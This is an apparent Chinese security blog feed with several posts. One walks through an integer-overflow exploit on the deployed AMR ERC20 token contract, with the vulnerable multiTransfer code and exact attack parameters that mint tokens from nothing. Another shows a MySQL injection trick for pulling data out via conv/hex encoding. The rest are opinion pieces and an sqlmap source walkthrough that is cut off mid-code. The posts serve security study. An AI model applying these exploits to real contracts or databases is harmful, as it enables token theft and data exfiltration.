    <content type="html"><![CDATA[<p>颠覆互联网的区块链来了，黑客也随之降临。<br>利益之下，黑客肆掠。</p><p>研究了一些区块链安全，有几个挺有意思的漏洞。</p><h3 id="基础"><a href="#基础" class="headerlink" title="基础"></a>基础</h3><p>Solidity 是一门面向合约的、为实现智能合约而创建的高级编程语言。这门语言受到了 C++，Python 和 Javascript 语言的影响，设计的目的是能在以太坊虚拟机（EVM）上运行。</p><p><a href="http://solidity-cn.readthedocs.io/zh/develop/introduction-to-smart-contracts.html#simple-smart-contract" target="_blank" rel="noopener">官方文档</a></p><h3 id="Overflow"><a href="#Overflow" class="headerlink" title="Overflow"></a>Overflow</h3><p>AMR智能合约基于以太坊ERC20协议，合约地址 <a href="https://etherscan.io/token/0x96c833e43488c986676e9f6b3b8781812629bbb5" target="_blank" rel="noopener">https://etherscan.io/token/0x96c833e43488c986676e9f6b3b8781812629bbb5</a></p><h4 id="什么是溢出？"><a href="#什么是溢出？" class="headerlink" title="什么是溢出？"></a>什么是溢出？</h4><blockquote><p>在计算机中，整数分为无符号整数以及有符号整数两种。其中有符号整数会在最高位用0表示正数，用1表示负数，而无符号整数则没有这种限制。另外，我们常见的整数类型有8位（单字节字符、布尔类型）、16位（短整型）、32位（长整型）等。关于整数溢出，其实它与其它类型的溢出一样，都是将数据放入了比它本身小的存储空间中，从而出现了溢出。<br>对于数据类型的定义<br>无符号的16位整数可以表示0～2^16-1，也就是0～65535这么多的数值。同理，32位无符号整数可以表示的范围是0～2^32-1，也就是0～4294967295这么多的数值</p></blockquote><h4 id="Solidity定义"><a href="#Solidity定义" class="headerlink" title="Solidity定义"></a>Solidity定义</h4><p>在AMR智能合约中，转账数值采用uint256。也就是2^256最大。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">In [<span class="number">4</span>]: pow(<span class="number">2</span>,<span class="number">256</span>)</span><br><span class="line">Out[<span class="number">4</span>]: <span class="number">115792089237316195423570985008687907853269984665640564039457584007913129639936L</span></span><br></pre></td></tr></table></figure></p><p>当超过这个数值时就会溢出导致归零重新增长。</p><h3 id="AMR转账溢出"><a href="#AMR转账溢出" class="headerlink" title="AMR转账溢出"></a>AMR转账溢出</h3><p>在ARM合约中，详细缺陷代码片段如下<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@dev </span>Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol.</span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * Mechanics:</span></span><br><span class="line"><span class="comment">     * Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays</span></span><br><span class="line"><span class="comment">     * must have the same size, and must have a greater-than-zero length. Max array size is 127.</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * IMPORTANT: ANTIPATTERN</span></span><br><span class="line"><span class="comment">     * This function performs a loop over arrays. Unless executed in a controlled environment,</span></span><br><span class="line"><span class="comment">     * it has the potential of failing due to gas running out. This is not dangerous, yet care</span></span><br><span class="line"><span class="comment">     * must be taken to prevent quality being affected.</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param </span>destinations An array of destinations we would be sending tokens to</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param </span>tokens An array of tokens, sent to destinations (index is used for destination-&gt;token match)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">multiTransfer</span>(<span class="params">address[] destinations, uint[] tokens</span>) <span class="title">public</span> <span class="title">returns</span> (<span class="params">bool success</span>)</span>&#123;</span><br><span class="line">        <span class="comment">// Two variables must match in length, and must contain elements</span></span><br><span class="line">        <span class="comment">// Plus, a maximum of 127 transfers are supported</span></span><br><span class="line">        assert(destinations.length &gt; <span class="number">0</span>);</span><br><span class="line">        assert(destinations.length &lt; <span class="number">128</span>);</span><br><span class="line">        assert(destinations.length == tokens.length);</span><br><span class="line">        <span class="comment">// Check total requested balance</span></span><br><span class="line">        uint8 i = <span class="number">0</span>;</span><br><span class="line">        uint totalTokensToTransfer = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; destinations.length; i++)&#123;</span><br><span class="line">            assert(tokens[i] &gt; <span class="number">0</span>);</span><br><span class="line">            totalTokensToTransfer += tokens[i];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// Do we have enough tokens in hand?</span></span><br><span class="line">        assert (balances[msg.sender] &gt; totalTokensToTransfer);</span><br><span class="line">        <span class="comment">// We have enough tokens, execute the transfer</span></span><br><span class="line">        balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; destinations.length; i++)&#123;</span><br><span class="line">            <span class="comment">// Add the token to the intended destination</span></span><br><span class="line">            balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);</span><br><span class="line">            <span class="comment">// Call the event...</span></span><br><span class="line">            emit Transfer(msg.sender, destinations[i], tokens[i]);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></p><p>批量转账函数</p><blockquote><p>address[] destinations  地址列表<br>uint[] tokens 转账数量</p></blockquote><p>在函数开始对地址长度之类的校验，对我们没什么用。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; destinations.length; i++)&#123;</span><br><span class="line">    assert(tokens[i] &gt; <span class="number">0</span>);</span><br><span class="line">    totalTokensToTransfer += tokens[i];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>漏洞代码主要是这里，当传入两个地址时，把数量为最大值溢出的一半，相加正好溢出为0。<br>在溢出后，totalTokensToTransfer为0。绕过下面的数量验证。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">assert (balances[msg.sender] &gt; totalTokensToTransfer);</span><br></pre></td></tr></table></figure></p><p>而转账还能进行，得到大量的代币。</p><h3 id="talk-is-cheap"><a href="#talk-is-cheap" class="headerlink" title="talk is cheap"></a>talk is cheap</h3><p>低成本，高收益，是无数资本家的梦想。XD</p><p>因为转账需要自己账户余额大于0，所以先充一个币余额。</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/amr-balance-1.png" alt="余额"></p><p>然后调用漏洞函数，上面提到过参数，需要两个地址和最大值的一半。</p><blockquote><p>地址列表 [“0xdd870fa1b7c4700f2bd7f44238821c26f7392148”,”0x0000000000000000000000000000000000000000”]</p></blockquote><blockquote><p>数量 [“57896044618658097711785492504343953926634992332820282019728792003956564819968”,”57896044618658097711785492504343953926634992332820282019728792003956564819968”]</p></blockquote><p>加起来正好溢出为0。</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/amr-attack-transfer.png" alt="转账"></p><p>查询地址余额</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/amr-attack-balance-1.png" alt="转账"></p><p>凭空多了57896044618658097711785492504343953926634992332820282019728792003956564819968个币。</p><p>由于区块链的不可逆性，币子流向市场几乎不受控制。</p><p>一夜暴富了解一下~  </p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;颠覆互联网的区块链来了，黑客也随之降临。&lt;br&gt;利益之下，黑客肆掠。&lt;/p&gt;
&lt;p&gt;研究了一些区块链安全，有几个挺有意思的漏洞。&lt;/p&gt;
&lt;h3 id=&quot;基础&quot;&gt;&lt;a href=&quot;#基础&quot; class=&quot;headerlink&quot; title=&quot;基础&quot;&gt;&lt;/a&gt;基础&lt;/h3&gt;&lt;
      
    
    </summary>
    
      <category term="blockchain" scheme="https://www.beysec.com/categories/blockchain/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="blockchain" scheme="https://www.beysec.com/tags/blockchain/"/>
    
  </entry>
  
  <entry>
    <title>安全开源项目wiki平台</title>
    <link href="https://www.beysec.com/security/security-opensource-wiki.html"/>
    <id>https://www.beysec.com/security/security-opensource-wiki.html</id>
    <published>2018-04-09T10:15:36.000Z</published>
    <updated>2020-07-13T07:43:03.127Z</updated>
    
    <content type="html"><![CDATA[<p>平常总会遇见一些好的项目，但是到用的时候却想不起来了。</p><p>所以趁着休息的时候写了个安全开源项目相关的平台</p><ul><li>前端：layui</li><li>后台：python</li></ul><p>出发点跟P牛的wiki平台类似，不过侧重点不同。</p><p>该平台主要收录一些开源的安全项目，还望各位老哥踊跃贡献提交感觉不错的开源项目~</p><p>有什么好的建议欢迎提出~</p><p>地址：<a href="http://wiki.beysec.com/" target="_blank" rel="noopener">http://wiki.beysec.com/</a></p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/wiki-sec-04-09.png" alt="首页"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;平常总会遇见一些好的项目，但是到用的时候却想不起来了。&lt;/p&gt;
&lt;p&gt;所以趁着休息的时候写了个安全开源项目相关的平台&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前端：layui&lt;/li&gt;
&lt;li&gt;后台：python&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;出发点跟P牛的wiki平台类似，不过侧重点不同
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="thinking" scheme="https://www.beysec.com/tags/thinking/"/>
    
  </entry>
  
  <entry>
    <title>为什么我不关心比特币</title>
    <link href="https://www.beysec.com/thinking/why-i-dont-care-for-btc.html"/>
    <id>https://www.beysec.com/thinking/why-i-dont-care-for-btc.html</id>
    <published>2018-04-04T08:28:43.000Z</published>
    <updated>2020-07-13T07:43:03.128Z</updated>
    
    <content type="html"><![CDATA[<p>最近有点浮躁~</p><p>对这个东西不感兴趣，有几点：</p><ul><li><p>美元是真正的世界货币，其实通过paypal、用信用卡付款，在任何一个国家支付美元、全球购物都是非常方便的。 只要比特币没有跟美元直接挂钩，形成官方汇率，形成良性监督，这个东西风险都非常高。比如法律风险、比特币自身的安全漏洞。</p></li><li><p>比特币被用来做非法地下交易、洗钱，这一点你应该是了解的。</p></li><li><p>考虑一下比特币有没有实际改善人们的生活。 大家投入很多人力、物力、财力，买挖矿机、买服务器、写程序。 没有衣服穿、没有饭吃，不行。但没有比特币，普通老百姓的生活没有多大影响。</p></li><li><p>炒得太厉害。当大家都觉得这里机会多的时候，可能它就不怎么适合我们去做了。 比特币主要分布在哪些人手上，他们手上有多少？ 大多数人进去之后，可能只是个垫背的，最后死得很惨。</p></li><li><p>搞自己的虚拟货币，想创造什么价值，解决什么实际问题。 人民币不能买东西吗？ 用信用卡不能在国外买东西了吗？</p></li><li><p>最好在自己的领域沉下心来，做自己懂的东西。 不懂的东西，风险太高太高。 就拿邓亚萍来做即刻搜索来说，烧完20亿，做出牛逼的产品了吗？</p></li></ul><p>如果后面的事实发展证明我是错的，那还是遵循上面的话，别人赚了多少钱，我不关心。</p><p>我关心的是，自己想做什么、自己能做什么、自己能做好什么。</p><p>via : lijiejie</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;最近有点浮躁~&lt;/p&gt;
&lt;p&gt;对这个东西不感兴趣，有几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;美元是真正的世界货币，其实通过paypal、用信用卡付款，在任何一个国家支付美元、全球购物都是非常方便的。 只要比特币没有跟美元直接挂钩，形成官方汇率，形成良性监督，这个东西风险都非
      
    
    </summary>
    
      <category term="thinking" scheme="https://www.beysec.com/categories/thinking/"/>
    
    
      <category term="thinking" scheme="https://www.beysec.com/tags/thinking/"/>
    
  </entry>
  
  <entry>
    <title>新博客，新开始</title>
    <link href="https://www.beysec.com/thinking/new-domain-new-blog.html"/>
    <id>https://www.beysec.com/thinking/new-domain-new-blog.html</id>
    <published>2018-03-16T06:39:05.000Z</published>
    <updated>2020-07-13T07:43:03.125Z</updated>
    
    <content type="html"><![CDATA[<p>从学生时代就开始养成写东西的习惯，从第三方博客到独立域名博客。</p><p>之前用了几年的域名itwzw.cn域名密码也忘了。也不打算用了</p><p>所以换个com的域名，所以以后就用beysec.com这个域名了~</p><p>博客系统基于hexo + git + 独立服务器来持续集成部署。</p><p>希望能坚持写博客，记录东西的习惯。</p><p>欢迎交换友联~</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;从学生时代就开始养成写东西的习惯，从第三方博客到独立域名博客。&lt;/p&gt;
&lt;p&gt;之前用了几年的域名itwzw.cn域名密码也忘了。也不打算用了&lt;/p&gt;
&lt;p&gt;所以换个com的域名，所以以后就用beysec.com这个域名了~&lt;/p&gt;
&lt;p&gt;博客系统基于hexo + git +
      
    
    </summary>
    
      <category term="thinking" scheme="https://www.beysec.com/categories/thinking/"/>
    
    
      <category term="thinking" scheme="https://www.beysec.com/tags/thinking/"/>
    
  </entry>
  
  <entry>
    <title>MySQL在insert-update-delete的注入Tricks</title>
    <link href="https://www.beysec.com/security/mysql-injection-in-insert-update-delete.html"/>
    <id>https://www.beysec.com/security/mysql-injection-in-insert-update-delete.html</id>
    <published>2018-02-24T08:56:14.000Z</published>
    <updated>2020-07-13T07:43:03.124Z</updated>
    
    <content type="html"><![CDATA[<p>看到P牛的一篇文章，提到几个trick，其中在MySQL5.7 INSERT注入方法。<br>然后找了一些资料学习了一波。</p><p>先来看个简单的例子</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select 'bey0nd' = 0 ;</span><br><span class="line">+<span class="comment">--------------+</span></span><br><span class="line">| 'bey0nd' = 0 |</span><br><span class="line">+<span class="comment">--------------+</span></span><br><span class="line">|            1 |</span><br><span class="line">+<span class="comment">--------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span>, <span class="number">1</span> <span class="keyword">warning</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select 'bey0nd' = 1 ;</span><br><span class="line">+<span class="comment">--------------+</span></span><br><span class="line">| 'bey0nd' = 1 |</span><br><span class="line">+<span class="comment">--------------+</span></span><br><span class="line">|            0 |</span><br><span class="line">+<span class="comment">--------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span>, <span class="number">1</span> <span class="keyword">warning</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>从上面的例子来看，MySQL对于这种情况下字符串的处理方式，直接当成0来处理。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select 'bey0nd' + 66 ;</span><br><span class="line">+<span class="comment">---------------+</span></span><br><span class="line">| 'bey0nd' + 66 |</span><br><span class="line">+<span class="comment">---------------+</span></span><br><span class="line">|            66 |</span><br><span class="line">+<span class="comment">---------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span>, <span class="number">1</span> <span class="keyword">warning</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>当字符串与数字进行运算，也是同样的道理。</p><p>实际上，MySQL把字符串当成了8bytes的double类型。</p><p>如下</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select (~0+0e0) = ('bey0nd' + ~0) ;</span><br><span class="line">+<span class="comment">----------------------------+</span></span><br><span class="line">| (~0+0e0) = ('bey0nd' + ~0) |</span><br><span class="line">+<span class="comment">----------------------------+</span></span><br><span class="line">|                          1 |</span><br><span class="line">+<span class="comment">----------------------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span>, <span class="number">1</span> <span class="keyword">warning</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>那我们在注入的时候，就可以把一些数据转换为数字的形式，从而获取MySQL数据。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select conv(hex(version()), 16, 10);</span><br><span class="line">+<span class="comment">------------------------------+</span></span><br><span class="line">| conv(hex(version()), 16, 10) |</span><br><span class="line">+<span class="comment">------------------------------+</span></span><br><span class="line">| 18446744073709551615         |</span><br><span class="line">+<span class="comment">------------------------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>而对于转换后的数字，再转换为原有数据时，如果原有数据大于8位。就会出错。所以在获取数据时需要进行拆分。</p><p>获取user()为例：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);</span><br><span class="line">+<span class="comment">--------------------------------------------------------+</span></span><br><span class="line">| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |</span><br><span class="line">+<span class="comment">--------------------------------------------------------+</span></span><br><span class="line">| 8245931987826405219                                    |</span><br><span class="line">+<span class="comment">--------------------------------------------------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">MariaDB [sqlitest]&gt; <span class="keyword">select</span> <span class="keyword">conv</span>(<span class="keyword">hex</span>(<span class="keyword">substr</span>(<span class="keyword">user</span>(),<span class="number">1</span> + (<span class="number">2</span><span class="number">-1</span>) * <span class="number">8</span>, <span class="number">8</span> * <span class="number">2</span>)), <span class="number">16</span>, <span class="number">10</span>);</span><br><span class="line">+<span class="comment">--------------------------------------------------------+</span></span><br><span class="line">| conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |</span><br><span class="line">+<span class="comment">--------------------------------------------------------+</span></span><br><span class="line">| 107118236496756                                        |</span><br><span class="line">+<span class="comment">--------------------------------------------------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>转换回去<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">MariaDB [sqlitest]&gt; select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16)));</span><br><span class="line">+<span class="comment">----------------------------------------------------------------------------------------+</span></span><br><span class="line">| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |</span><br><span class="line">+<span class="comment">----------------------------------------------------------------------------------------+</span></span><br><span class="line">| root@localhost                                                                         |</span><br><span class="line">+<span class="comment">----------------------------------------------------------------------------------------+</span></span><br><span class="line">1 row in <span class="keyword">set</span> (<span class="number">0.01</span> sec)</span><br></pre></td></tr></table></figure></p><p>在遇见insert、update、delete类型的注入时，就可以根据情况来进行构造。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;看到P牛的一篇文章，提到几个trick，其中在MySQL5.7 INSERT注入方法。&lt;br&gt;然后找了一些资料学习了一波。&lt;/p&gt;
&lt;p&gt;先来看个简单的例子&lt;/p&gt;
&lt;figure class=&quot;highlight sql&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gu
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="sqli" scheme="https://www.beysec.com/tags/sqli/"/>
    
      <category term="mysql" scheme="https://www.beysec.com/tags/mysql/"/>
    
  </entry>
  
  <entry>
    <title>sqlmap源码分析与学习</title>
    <link href="https://www.beysec.com/security/sqlmap-source-1.html"/>
    <id>https://www.beysec.com/security/sqlmap-source-1.html</id>
    <published>2018-01-30T07:01:11.000Z</published>
    <updated>2020-07-13T07:43:03.127Z</updated>
    
    <content type="html"><![CDATA[<p>sqlmap是安全人员必备的注入神器，没有之一。注入手法，注入思路以及注入语句构造的都是相当厉害。</p><p>sqlmap作为集检测与利用一体的注入工具，在注入判断上的速度难免会慢一些。虽然提供了sqlmapapi的形式供DIY调用，但效果差强人意。<br>所以一直以来都在写着能够快速定位到注入点而非注入利用的工具。最重要的就是快、误报低。</p><p>最近研究了一下sqlmap的源码流程和注入点的判断，不得不膜拜sqlmap的作者，膜拜其在软件架构、算法、注入等的造诣。</p><p>先来一张图看一下sqlmap运行流程。<br><a href="https://www.processon.com/view/5835511ce4b0620292bd7285" target="_blank" rel="noopener">https://www.processon.com/view/5835511ce4b0620292bd7285</a></p><h3 id="入口sqlmap-py"><a href="#入口sqlmap-py" class="headerlink" title="入口sqlmap.py"></a>入口sqlmap.py</h3><p>前面引入很多lib，以及配置文件，暂时先不关心这些<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">checkEnvironment()</span><br><span class="line">setPaths(modulePath())</span><br><span class="line">banner()</span><br></pre></td></tr></table></figure></p><p>在main函数中先调用这三个函数<br>分别是检测环境，一些依赖和目录规范的问题。<br>设置路径，这个就是为什么我们不管在哪个路径下执行<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python /root/<span class="built_in">test</span>/sqlmap.py</span><br></pre></td></tr></table></figure></p><p>都不会报错的原因。<br>然后输出logo信息。</p><p>然后进行参数解析。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cmdLineOptions.update(cmdLineParser().__dict__)</span><br><span class="line">initOptions(cmdLineOptions)</span><br></pre></td></tr></table></figure></p><p>命令行全部参数配置都在<br>lib\parse\cmdline.py中，<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">parser.add_option(<span class="string">"--hh"</span>, dest=<span class="string">"advancedHelp"</span>,</span><br><span class="line">                          action=<span class="string">"store_true"</span>,</span><br><span class="line">                          help=<span class="string">"Show advanced help message and exit"</span>)</span><br><span class="line"></span><br><span class="line">parser.add_option(<span class="string">"--version"</span>, dest=<span class="string">"showVersion"</span>,</span><br><span class="line">                          action=<span class="string">"store_true"</span>,</span><br><span class="line">                          help=<span class="string">"Show program's version number and exit"</span>)</span><br></pre></td></tr></table></figure></p><p>这个简单了解即可。</p><p>在lib\core\option.py中，init()方法，进行一系列初始化。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">init</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="string">"""</span></span><br><span class="line"><span class="string">    Set attributes into both configuration and knowledge base singletons</span></span><br><span class="line"><span class="string">    based upon command line and configuration file options.</span></span><br><span class="line"><span class="string">    """</span></span><br><span class="line"></span><br><span class="line">    _useWizardInterface()</span><br><span class="line">    setVerbosity()</span><br><span class="line">    _saveConfig()</span><br><span class="line">    _setRequestFromFile()</span><br><span class="line">    _cleanupOptions()</span><br><span class="line">    _cleanupEnvironment()</span><br><span class="line">    _dirtyPatches()</span><br><span class="line">    _purgeOutput()</span><br><span class="line">    _checkDependencies()</span><br><span class="line">    _createTemporaryDirectory()</span><br><span class="line">    _basicOptionValidation()</span><br><span class="line">    _setProxyList()</span><br><span class="line">    _setTorProxySettings()</span><br><span class="line">    _setDNSServer()</span><br><span class="line">    _adjustLoggingFormatter()</span><br><span class="line">    _setMultipleTargets()</span><br><span class="line">    _setTamperingFunctions()</span><br><span class="line">    _setWafFunctions()</span><br><span class="line">    _setTrafficOutputFP()</span><br><span class="line">    _resolveCrossReferences()</span><br><span class="line">    _checkWebSocket()</span><br></pre></td></tr></table></figure><p>这部分主要是初始化一些配置信息。还包括一个新手向导的函数，不过基本也不用。</p><p>前面对准备工作设置的特别多，数据库、日志、识别waf、加载tamper等。本文主要是探索sqlmap的注入判断方式，所以前面就不提太多。</p><h2 id="参数解析"><a href="#参数解析" class="headerlink" title="参数解析"></a>参数解析</h2><p>目前市面上很多的扫描器都支持urlencode和json参数的格式。如</p><blockquote><p>id=1&amp;name=2</p></blockquote><blockquote><p>{“id”:1,”name”:2}</p></blockquote><p>而对两者混合的支持的比较少,如</p><blockquote><p>id=1&amp;data={“name”:1,”age”:4}</p></blockquote><p>而sqlmap在解析时处理可以识别各种类型的参数。<br>主要实现在lib\core\common.py的walk函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> place <span class="keyword">in</span> (PLACE.POST, PLACE.GET):</span><br><span class="line">  <span class="keyword">for</span> regex <span class="keyword">in</span> (<span class="string">r"\A((?:&lt;[^&gt;]+&gt;)+\w+)((?:&lt;[^&gt;]+&gt;)+)\Z"</span>, <span class="string">r"\A([^\w]+.*\w+)([^\w]+)\Z"</span>):</span><br><span class="line">      match = re.search(regex, testableParameters[parameter])</span><br><span class="line">      <span class="keyword">if</span> match:</span><br><span class="line">          <span class="keyword">try</span>:</span><br><span class="line">              candidates = OrderedDict()</span><br><span class="line">              <span class="function"><span class="keyword">def</span> <span class="title">walk</span><span class="params">(head, current=None)</span>:</span></span><br><span class="line">                  <span class="keyword">if</span> current <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">                      current = head</span><br><span class="line">                  <span class="keyword">if</span> isListLike(current):</span><br><span class="line">                      <span class="keyword">for</span> _ <span class="keyword">in</span> current:</span><br><span class="line">                          walk(head, _)</span><br><span class="line">                  <span class="keyword">elif</span> isinstance(current, dict):</span><br><span class="line">                      <span class="keyword">for</span> key <span class="keyword">in</span> current.keys():</span><br><span class="line">                          value = current[key]</span><br><span class="line">                          <span class="keyword">if</span> isinstance(value, (list, tuple, set, dict)):</span><br><span class="line">                              <span class="keyword">if</span> value:</span><br><span class="line">                                  walk(head, value)</span><br><span class="line">                          <span class="keyword">elif</span> isinstance(value, 